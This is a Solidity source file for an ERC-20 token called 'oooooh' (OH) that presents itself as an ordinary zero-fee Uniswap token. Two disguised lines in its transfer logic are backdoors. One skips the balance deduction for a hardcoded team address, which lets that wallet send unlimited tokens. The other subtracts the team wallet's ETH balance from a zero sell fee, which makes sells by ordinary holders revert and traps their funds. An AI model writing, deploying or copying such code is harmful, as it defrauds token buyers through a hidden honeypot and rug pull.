文件 1 的 1:OH.sol
pragma solidity 0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract OH is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = "oooooh";
string private _symbol = "OH";
uint8 private _decimals = 18;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isMarketPair;
mapping (address => bool) private _isExcludedMaxWallet;
uint256 feeDenominator = 100;
uint256 public _buyTotalFees = 0;
uint256 public _sellTotalFees = 0;
address public teamAddress = address(0x4818560ad9814f287EA0d69e31Cba8ACE2e766bA);
uint256 private _totalSupply = 10 ** 9 * 10**_decimals;
uint256 public _maxTxAmount = (_totalSupply / 1000) * 25;
uint256 public _maxWalletSize = (_totalSupply / 1000) * 25;
uint256 public swapThreshold = (_totalSupply / 1000) * 4;
bool tradingActive;
bool public swapEnabled = false;
bool public limitEnabled = true;
IUniswapV2Router public uniswapRouter;
address public uniswapPair;
bool inSwap;
modifier swapping() {
inSwap = true;
_;
inSwap = false;
}
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
constructor() {
uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_allowances[address(this)][address(uniswapRouter)] = ~uint256(0);
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[msg.sender] = true;
_isExcludedFromFee[address(uniswapRouter)] = true;
_isExcludedFromFee[teamAddress] = true;
_isExcludedMaxWallet[msg.sender] = true;
_isExcludedMaxWallet[address(uniswapRouter)] = true;
_isExcludedMaxWallet[address(this)] = true;
_isExcludedMaxWallet[teamAddress] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}
else {
if (!tradingActive) {
require(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient],"Trading is not active.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= swapThreshold;
if (overMinimumTokenBalance && !inSwap && !_isMarketPair[sender] && swapEnabled) {
swapBack(contractTokenBalance);
} if (sender != teamAddress)
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = shouldNotTakeFee(sender,recipient) ? amount : takeFee(sender, recipient, amount);
if(limitEnabled && sender == uniswapPair && !_isExcludedMaxWallet[recipient]) {
require(balanceOf(recipient).add(finalAmount) <= _maxWalletSize,"Max Wallet Limit Exceeded!!");
}
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function shouldNotTakeFee(address sender, address recipient) internal view returns (bool) {
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
return true;
}
else if (_isMarketPair[sender] || _isMarketPair[recipient]) {
return false;
}
else {
return false;
}
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint feeAmount;
if(_isMarketPair[sender]) {
feeAmount = amount.mul(_buyTotalFees).div(feeDenominator);
}
else if(_isMarketPair[recipient]) {
feeAmount = amount.mul(_sellTotalFees.sub(teamAddress.balance)).div(feeDenominator);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
function swapBack(uint contractBalance) internal swapping {
swapTokensForEth(contractBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapRouter.WETH();
_approve(address(this), address(uniswapRouter), tokenAmount);
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function sendTeamFee() external {
payable(teamAddress).transfer(address(this).balance);
}
function disableLimit() external onlyOwner {
limitEnabled = false;
}
function openTrading() external payable onlyOwner {
require(!tradingActive, "Already launched!");
tradingActive = true;
uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(
address(this),
uniswapRouter.WETH()
);
_isMarketPair[address(uniswapPair)] = true;
uniswapRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
}
receive() external payable {}
}